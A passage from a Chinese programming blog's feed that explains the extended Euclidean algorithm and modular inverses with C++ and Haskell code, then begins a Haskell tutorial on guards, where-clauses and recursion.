class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.95em;"><span style="top:-1.6em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎩</span></span></span><span style="top:-1.592em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.916em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.916em" style="width:0.8889em" viewBox="0 0 888.89 916" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V916 H384z M384 0 H504 V916 H384z"/></svg></span></span><span style="top:-3.15em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎨</span></span></span><span style="top:-4.292em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.916em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.916em" style="width:0.8889em" viewBox="0 0 888.89 916" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V916 H384z M384 0 H504 V916 H384z"/></svg></span></span><span style="top:-5.2em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎧</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.45em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.13em;"><span style="top:-5.13em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">0</span></span></span><span style="top:-3.69em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">0</span></span></span><span style="top:-0.81em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathrm">gcd</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.63em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>需要注意，每次迭代后 x, y 的值都不同了。</p><p>以上都是辗转相除法的内容，也就是得到最大公因数的过程。但是之前的关注点在于如何得到最后的 a 或者 b，但是现在的关注点在于 x, y 如何得到。我们知道最终迭代的结果可以得到 x, y 的值，那么我们只需要回溯就可以了。</p><p><strong>当 a, b 置换，上面的式子也可以写成对称的形式。</strong></p><h2 id="回溯">回溯</h2><p>如何回溯呢，可以通过引用机制，也就是传入指针或者引用，这样伴随着函数的返回，值也修改了。具体修改的规则怎么确定呢？这就需要一点儿数学知识了，对于：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3em;vertical-align:-1.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">{</span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.69em;"><span style="top:-3.69em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathrm">gcd</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathrm">mod</span></span><span class="mspace"> </span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mord">′</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord">′</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathrm">gcd</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.19em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>第二个式子可以等价的写成：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathrm">mod</span></span><span class="mspace"> </span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mord">′</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.75em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord">′</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">a</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mord">′</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.75em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord">′</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord">′</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">a</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span><span class="mord mathnormal">x</span><span class="mord">′</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal">x</span><span class="mord">′</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathrm">gcd</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>也就是说每一次辗转相除之前和之后的 x, y 满足下面的关系：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4401em;vertical-align:-0.9701em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">{</span></span><span class="mord"><span class="mtable"><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4701em;"><span style="top:-3.5899em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord">′</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8801em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span><span class="mord mathnormal">x</span><span class="mord">′</span></span></span><span style="top:-2.3899em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">x</span><span class="mord">′</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9701em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>也就是说每次回溯的时候应该按照上面的式子，修改之前的值。</p><p>所以 C++ 程序如下：</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//最大公约数</span></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">gcd</span><span class="params">(<span class="type">int</span> a, <span class="type">int</span> b)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (a % b == <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> b;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="type">int</span> t = a;</span><br><span class="line">        a = b;</span><br><span class="line">        b = t % b;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">gcd</span>(a, b);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">extgcd</span><span class="params">(<span class="type">int</span> a, <span class="type">int</span> b, <span class="type">int</span> &amp;x, <span class="type">int</span> &amp;y)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (a == <span class="number">0</span>) &#123;</span><br><span class="line">        x = <span class="number">0</span>, y = <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">extgcd</span>(b % a, a, x, y);</span><br><span class="line">    <span class="type">int</span> t = x;</span><br><span class="line">    x = y - b / a * x;</span><br><span class="line">    y = t;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">euclid_mod_reverse1</span><span class="params">(<span class="type">int</span> a, <span class="type">int</span> n)</span> </span>&#123;</span><br><span class="line">    <span class="comment">//检查输入合法</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">gcd</span>(a, n) != <span class="number">1</span> || a &lt;= <span class="number">0</span> || n &lt;= <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> x, y;</span><br><span class="line">    <span class="built_in">extgcd</span>(a, n, x, y);</span><br><span class="line">    <span class="keyword">return</span> (n + x % n) % n;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Haskell 的程序或許更加直观：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">modInverse</span> :: <span class="type">Int</span> -&gt; <span class="type">Int</span> -&gt; <span class="type">Maybe</span> <span class="type">Int</span></span><br><span class="line"><span class="title">modInverse</span> a n = <span class="keyword">case</span> gcd a n <span class="keyword">of</span></span><br><span class="line">  <span class="number">1</span> -&gt; <span class="type">Just</span> $ makePositive $ fst $ extgcd a n</span><br><span class="line">  _ -&gt; <span class="type">Nothing</span></span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    extgcd <span class="number">0</span> b = (<span class="number">0</span>, <span class="number">1</span>)</span><br><span class="line">    extgcd a b =</span><br><span class="line">      <span class="keyword">let</span> (x&#x27;, y&#x27;) = extgcd (b `mod` a) a</span><br><span class="line">          x = y&#x27; - (b `div` a) * x&#x27;</span><br><span class="line">          y = x&#x27;</span><br><span class="line">      <span class="keyword">in</span> (x, y)</span><br><span class="line">    makePositive x = <span class="keyword">if</span> x &gt;= <span class="number">0</span> <span class="keyword">then</span> x <span class="keyword">else</span> x + n</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/cs-courses/modular-inverses/</id>
    <link href="https://www.blog-blockchain.xyz/cs-courses/modular-inverses/"/>
    <published>2022-09-27T13:49:22.000Z</published>
    <summary>详细介绍扩展欧几里得算法和乘法逆元的数学原理与编程实现，包括辗转相除法、裴蜀等式、回溯过程等关键概念，提供C++和Haskell代码示例。</summary>
    <title>乘法逆元</title>
    <updated>2026-02-19T16:18:01.151Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="functional language" scheme="https://www.blog-blockchain.xyz/categories/functional-language/"/>
    <category term="Haskell" scheme="https://www.blog-blockchain.xyz/tags/Haskell/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/fp/FP-haskell-1/" title="Haskell(一)入门">Haskell(一)入门</a></li><li><a href="/fp/FP-haskell-2/" title="Haskell(二)函数式编程">Haskell(二)函数式编程</a></li><li><a href="/fp/monad/" title="Haskell(三) Monad">Haskell(三) Monad</a></li><li><a href="/fp/Haskell-summary-toolchain/" title="Haskell(四)总结和工具链">Haskell(四)总结和工具链</a></li><li><a href="/fp/Haskell-epilogue/" title="Haskell(五) 总结和展望">Haskell(五) 总结和展望</a></li><li><a href="/fp/project-euler/" title="Haskell(六) Project Euler 练习1-26">Haskell(六) Project Euler 练习1-26</a></li></ol></blockquote><p>首先，我们需要将自己的编程观念从命令式语言转换到函数式语言上面来。这样做的原因并不是因为命令式语言不好，而是因为比起命令式语言，函数式语言更胜一筹。</p><h2 id="基本用法">基本用法</h2><p>先看一些简单的程序，了解基本用法。</p><p>斐波那契数列：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">fab</span> n = <span class="keyword">if</span> n==<span class="number">1</span>||n==<span class="number">2</span> <span class="keyword">then</span> <span class="number">1</span> <span class="keyword">else</span> fab (n-<span class="number">1</span>) + fab (n-<span class="number">2</span>)</span><br></pre></td></tr></table></figure><p>也可以利用模式匹配写成下面的样子，这个类似于分支语句，叫做 Guards</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">fab</span> n | n==<span class="number">1</span>||n==<span class="number">2</span> =<span class="number">1</span> | n&gt;<span class="number">2</span> = (fab (n-<span class="number">1</span>) + fab (n-<span class="number">2</span>))</span><br></pre></td></tr></table></figure><p>在 Haskell 中，<code>|</code> 被用于定义函数的多重条件分支。它可以用来在函数定义中指定多个条件，并根据不同的条件执行不同的代码。它的基本语法形式如下：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">functionName</span> pattern1 | condition1 = codeBlock1</span><br><span class="line">                     | condition2 = codeBlock2</span><br><span class="line">                     | condition3 = codeBlock3</span><br><span class="line">                     ...</span><br><span class="line">                     | otherwise  = codeBlockN</span><br></pre></td></tr></table></figure><p>其中，<code>functionName </code>是函数名，<code>pattern1 </code>是函数的参数模式，<code>condition1</code>、<code>condition2</code>、<code>condition3 </code>等是不同的条件，<code>codeBlock1</code>、<code>codeBlock2</code>、<code>codeBlock3 </code>等是相应的代码块，<code>otherwise </code>是最后一个条件，用于匹配所有的其他情况。在多重条件分支中，只有第一个匹配的条件的代码块将被执行，其他的条件将被忽略。</p><p><strong><code>where</code>关键字或内置函数，可在运行时用于生成所需的输出，暂存中间的计算结果</strong>。当函数计算变得复杂时，这将非常有用。<code>where</code>子句将整个表达式分解成小部分。</p><p><code>do</code> 关键字引入一个块，标识那些带有副作用的代码</p><p>求二次方程的根：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">roots</span> (a, b, c) = (x1, x2) <span class="keyword">where</span></span><br><span class="line">  x1 = e + sqrt d/(<span class="number">2</span>*a)</span><br><span class="line">  x2 = e - sqrt d/(<span class="number">2</span>*a)</span><br><span class="line">  d = b * b - <span class="number">4</span> * a * c</span><br><span class="line">  e = -b/(<span class="number">2</span>*a)</span><br><span class="line"><span class="title">main</span> = <span class="keyword">do</span></span><br><span class="line">   putStrLn <span class="string">&quot;The roots of our Polynomial equation are:&quot;</span></span><br><span class="line">   print (roots(<span class="number">1</span>,-<span class="number">8</span>,<span class="number">6</span>))</span><br></pre></td></tr></table></figure><h2 id="循环">循环</h2><p>Haskell 既没有 <code>for</code> 循环，也没有 <code>while</code> 循环，一般用递归来代替。</p><h3 id="递归示例-1">递归示例 1</h3><p>例如一个 C 函数，它将字符串表示的数字转换成整数：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">as_int</span><span class="params">(<span class="type">char</span> *str)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> acc; <span class="comment">// accumulate the partial result</span></span><br><span class="line">    <span class="keyword">for</span> (acc = <span class="number">0</span>; <span class="built_in">isdigit</span>(*str); str++)&#123;</span><br><span class="line">        acc = acc * <span class="number">10</span> + (*str -<span class="string">&#x27;0&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> acc;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>也可以写成递归的形式：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">#<span class="meta">#<span class="keyword">include</span> <span class="string">&lt;cstdio&gt;</span></span></span><br><span class="line">#<span class="meta">#<span class="keyword">include</span> <span class="string">&lt;ctype.h&gt;</span></span></span><br><span class="line">#<span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">loop</span><span class="params">(<span class="type">char</span> *str, <span class="type">int</span> acc)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">strlen</span>(str) == <span class="number">0</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">return</span> acc;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        acc = acc * <span class="number">10</span> + *str - <span class="string">&#x27;0&#x27;</span>;</span><br><span class="line">        *str++;</span><br><span class="line">        <span class="keyword">return</span> loop(str, acc);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">as_int</span><span class="params">(<span class="type">char</span> *str)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span> loop(str, <span class="number">0</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">char</span> a[] = <span class="string">&quot;124&quot;</span>;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%d&quot;</span>, as_int(a));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果使用 Haskell 递归来实现的话可能会简洁一些。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 库函数，字符转数字</span></span><br><span class="line"><span class="keyword">import</span> Data.Char (<span class="title">digitToInt</span>)</span><br><span class="line"><span class="title">asInt</span> :: <span class="type">String</span> -&gt; <span class="type">Int</span> <span class="comment">-- 定义函数类型</span></span><br><span class="line"><span class="title">asInt</span>  = loop <span class="number">0</span></span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    loop :: <span class="type">Int</span> -&gt; <span class="type">String</span> -&gt; <span class="type">Int</span> <span class="comment">--定义函数类型，也即下面的形式</span></span><br><span class="line">    loop acc [] = acc <span class="comment">-- acc 是整数变量，空列表就返回累积的数</span></span><br><span class="line">    <span class="comment">-- 如果不为空，那么继续累积</span></span><br><span class="line">    loop acc (x:xs) = <span class="keyword">let</span> acc&#x27; = acc * <span class="number">10</span> + digitToInt x</span><br><span class="line">                      <span class="keyword">in</span> loop acc&#x27; xs</span><br></pre></td></tr></table></figure><p>可以看到，函数式编程语言相比命令式编程语言，提供了截然不同的视角。</p><p>这里使用到了 <code>let ... in</code> 关键字，它的含义是在 <code>let</code> 后定义局部表达式，然后在 <code>in</code> 后面用上。可以见 <a href="https://stackoverflow.com/users/5053374/libby">Libby</a> 的<a href="https://stackoverflow.com/a/52705857/15272222">回答</a></p><blockquote><p><code>in</code> goes along with <code>let</code> to name one or more local expressions in a pure function.</p><p>So, to use a simpler example,</p><figure class="highlight hs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">foo</span> =</span><br><span class="line"><span class="title">let</span> greeting = <span class="string">&quot;hello&quot;</span> <span class="keyword">in</span></span><br><span class="line"> print (greeting ++ <span class="string">&quot; world&quot;</span>)</span><br></pre></td></tr></table></figure><p>would print “hello world”.</p><p>But you could also use lots of <code>let</code>s:</p><figure class="highlight hs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">foo</span> =</span><br><span class="line"><span class="title">let</span> greeting = <span class="string">&quot;hello&quot;</span></span><br><span class="line">   greetee  = <span class="string">&quot;world&quot;</span> <span class="keyword">in</span></span><br><span class="line"> print (greeting ++ <span class="string">&quot; &quot;</span> ++ greetee)</span><br></pre></td></tr></table></figure><p>And you just need one <code>in</code> before you use the names you just defined.</p></blockquote><h3 id="递归示例-2">递归示例 2</h3><p>考虑以下 C 函数， <code>square</code> ，它对数组中的所有元素执行平方计算：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">square</span><span class="params">(<span class="type">double</span> *out, <span class="type">const</span> <span class="type">double</span> *in, <span class="type">size_t</span> length)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">size_t</span> i = <span class="number">0</span>; i &lt; length; i++) &#123;</span><br><span class="line">        out[i] = in[i] * in[i];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码展示了一个直观且常见的 loop 动作，它对输入数组中的所有元素执行同样的动作。以下是 Haskell 版本的 <code>square</code> 函数：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span 